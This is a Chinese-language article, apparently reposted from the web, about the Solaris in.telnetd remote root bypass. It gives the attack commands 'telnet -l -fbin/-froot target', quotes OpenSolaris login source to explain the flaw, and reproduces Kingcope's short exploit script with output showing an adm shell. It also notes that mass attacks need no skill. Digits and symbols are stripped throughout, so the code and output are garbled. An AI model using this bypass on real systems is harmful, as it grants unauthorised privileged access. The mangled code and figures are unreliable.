Solaris中Telnet的使用

网络整理 - 06-30

  对于telnet服务的使用我们这里主要讲解一下Solaris系统中的一些应用那么首先然我们了解一下Solaris系统的相关内容和telnet的功能吧如果你的Solaris系统运行了telnet服务程序 你将会感到十分惊讶: 只需执行一个简单的步骤就可以获得root权限(也可以是其它用户权限) 该漏洞的全称是: Solaris /系统上的telnet远程root漏洞(或SunOS / intelnetd 远程漏洞) 无需任何技巧和漏洞知识 你就可以通过脚本执行大规模的攻击 完整的漏洞利用方法可以从该pdf文章获得(或从文章下面的漏洞代码解释部分) 下面简单介绍一下如何利用该漏洞 基本上你可以在telnet命令的l选项后指定任何一个fusername参数 fusername可以是任何你需要的用户名 比如bin root等 执行telnet后可以得到fusername指定的用户权限 比如:

  telnet l fbin target_address

  看到这里请禁止您solaris系统上的telnet程序 另外该漏洞的HEV数据可以从ErraSec网站下载

  注: Solaris 的默认安装不会受到该漏洞的影响 如果你修改了/etc/default/login配置文件中的CONSOLE变量 你将只能通过本地控制台root登陆系统 当然如果你注释掉了CONSOLE这一行的话 任何用户都将可以通过本地或远程方式利用telnet漏洞

  telnet l froot target_address

  漏洞代码解释

  下面的漏洞代码适用于SunOS /系统上的intelnetd程序 原作者是Kingcope

  首先看Opensolaris的源代码:

  CODE:

  /usr/src/cmd/cmdinet/usrsbin/intelnetdc

  

   } else /* default no auth info available login does it all */ {

   (void) execl(LOGIN_PROGRAM login

   p h host d slavename

   getenv(USER) );

   }

  /usr/src/cmd/login/loginc

   break;

  

   case f:

   /*

   * Must be root to bypass authentication

   * otherwise we exit() as punishment for trying

   */

   if (getuid() != || geteuid() != ) {

   audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;

  

   login_exit(); /* sigh */

   /*NOTREACHED*/

   }

   /* save fflag user name for future use */

   SCPYL(user_name optarg);

   fflag = B_TRUE;

  看完上面后 我们可以通过设置USER环境变量fusername来获得需要的用户权限 新的用户登陆无需口令验证

  下面是正式的漏洞利用代码(称作sunos):

  开始

  #!/bin/sh

  # CLASSIFIED CONFIDENTIAL SOURCE MATERIAL

  #

  # *********************ATTENTION********************************

  # THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES

  # (C) COPYRIGHT Kingcope

  #

  ################################################################

  echo

  echo SunOS / intelnetd Remote Exploit by Kingcope

  if [ $# ne ]; then

  echo /sunos

  echo /sunos localhost bin

  exit

  fi

  echo

  echo ALEX ALEX

  echo

  telnet lf$ $

  结束

  然后执行漏洞程序:

  $ /sunos adm

  SunOS / intelnetd Remote Exploit by Kingcope

  ALEX ALEX

  Trying

  Connected to

  Escape character is ^]

  Last login: Wed Feb :: from

  Sun Microsystems Inc SunOS Generic January

  $ uname a;id

  SunOS library Generic_ sunu sparc SUNWSunFireV

  uid=(adm) gid=(adm)

  $

  我们看到 执行sunos脚本后 执行者获得了adm帐户权限